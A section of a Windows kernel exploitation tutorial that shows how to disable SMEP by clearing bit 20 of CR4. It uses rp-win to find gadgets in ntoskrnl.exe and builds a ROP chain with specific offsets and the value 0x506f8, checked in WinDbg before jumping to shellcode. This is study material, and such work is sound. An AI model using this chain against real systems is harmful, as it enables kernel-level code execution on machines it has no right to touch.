ROP to the Rescue

In the last section we discovered that SMEP prevented us from calling user mode code from the kernel. To defeat this we need to disable it using ROP.

Data Execution Prevention (DEP) was introduced in the Windows operating system starting from Windows XP Service Pack 2 (SP2). DEP is a security feature that helps protect against certain types of malicious code execution by marking memory regions as non-executable unless explicitly allowed. This is enabled in kernel space, so in order to defeat SMEP we first need to defeat DEP, and we will soon find out kASLR too!

SMEP Implementation

Supervisor Mode Execution Protection (SMEP) is a security feature that leverages the 20th bit of the Control Register 4 (CR4) in x86 processors. When the SMEP bit is enabled by setting it in cr4, it prevents the processor from executing user mode code in kernel mode.

At any point during kernel debugging we can view the cr4 register:

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`001506f8
  Decimal: 1378040
  Decimal (unsigned) : 1378040
  Octal:   0000000000000005203370
  Binary:  00000000 00000000 00000000 00000000 00000000 00010101 00000110 11111000
  Chars:   ........
  Time:    Fri Jan 16 22:47:20 1970
  Float:   low 1.93105e-039 high 0
  Double:  6.80842e-318

From the output we can see that 20th bit (using a zero index) from the right is set to 1. If we take the rightmost (least-significant) three bytes we can do some very simple binary maths:

  SMEP bit
     |
  0001 0101 0000 0110 1111 1000
0x   1    5    0    6    F    8

Removing the 20th bit (the SMEP flag) can also be easily calculated:

  SMEP bit
     |
  0000 0101 0000 0110 1111 1000
0x   0    5    0    6    F    8

Effectively, we need to set the cr4 register value to 0x506f8 to disable SMEP.

We have manually carried out the following calculation; this calculates a new cr4 register value with the 20th bit set to 0:

0x1506f8
AND
0xefffff

We can carry out this calculation in Windbg Preview:

? 0x1506f8 & 0xefffff

This can be useful if the value in cr4 is different to what we have here.

Disabling SMEP

In order to disable SMEP we need to find ROP gadgets that carry out the following, or similar:

pop rcx, 0x506f8
mov cr4, rcx

This doesn't seem too much of a daunting task.

Note: The following assembly would be more portable, but unfortunately the gadgets do not exist:

push cr4
pop rcx
and rcx, 0xefffff
mov cr4, rcx

ntoskrnl.exe

ntoskrnl.exe is a core system file in the Windows operating system that contains the kernel code, providing essential services and functionality for the operating system.

The ntoskrnl.exe file is responsible for managing memory, processes, drivers, and various system components. It acts as the interface between the hardware and software layers, handling system calls, managing resources, and maintaining overall system stability and security.

We will use rp-win by 0vercl0k to find ROP gadgets in ntoskrnl.exe to help us defeat DEP in the kernel.

Locate C:\Windows\System32\ntoskrnl.exe and copy it to convenient location.

Use the following command in a new command prompt to search for gadgets in the kernel code:

.\rp-win.exe -f .\ntoskrnl.exe -r 5 > .\ntoskrnl.txt

When the command is completed we can open the ntoskrnl.txt file to look for appropriate ROP gadgets:

You may notice that the addresses are prefixed with 0x140, this is not a true address, but an offset of 0x140000000. We can use the debugger to test this theory.

If we take a random gadget (make it an easy one to compare) we can check this against the nt module in the debugger:

0x1400c71bb: pop rbx ; ret ; (1 found)

If we remove the prefix from the gadget address, and check the loaded module in the debugger we find that the gadget address is an offset of the loaded module base address (without the prefix):

0: kd> u nt+c71bb L2
nt!EtwTraceContextSwap+0x12b:
fffff801`9995b1bb 5b              pop     rbx
fffff801`9995b1bc c3              ret

ROP Gadgets

Searching through the gadget file we can locate gadgets to disable SMEP, run our shellcode then restore SMEP; the following ROP chain is constructed:

nt+3c66ce                ; pop rcx ; ret
0x506f8                  ; the cr4 value to disable SMEP
nt+3d6325                ; mov cr4, rcx ; ret
shellcode addr           ; when SMEP is disabled ret to our shellcode

We can use the connected debugger to check that our gadgets point to the correct assembly, the first gadget is shown below:

0: kd> u nt+3c66ce
nt!KiCalibrateTimeAdjustment+0xea:
fffff801`99c5a6ce 59              pop     rcx
fffff801`99c5a6cf c3              ret

The second gadget is also checked:

0: kd> u nt+3d6325
nt! ?? ::OKHAJAOM::`string'+0x2ea5:
fffff801`99c6a325 0f22e1          mov     cr4,rcx
fffff801`99c6a328 c3              ret

Now we have the gadget offsets we can start thinking about putting this in to our exploit. However, we need to defeat kASLR. That is discussed next.

Demo

Work in progress

Exercises

  1. See if you can find other ROP gadgets to meet the objective.

Last updated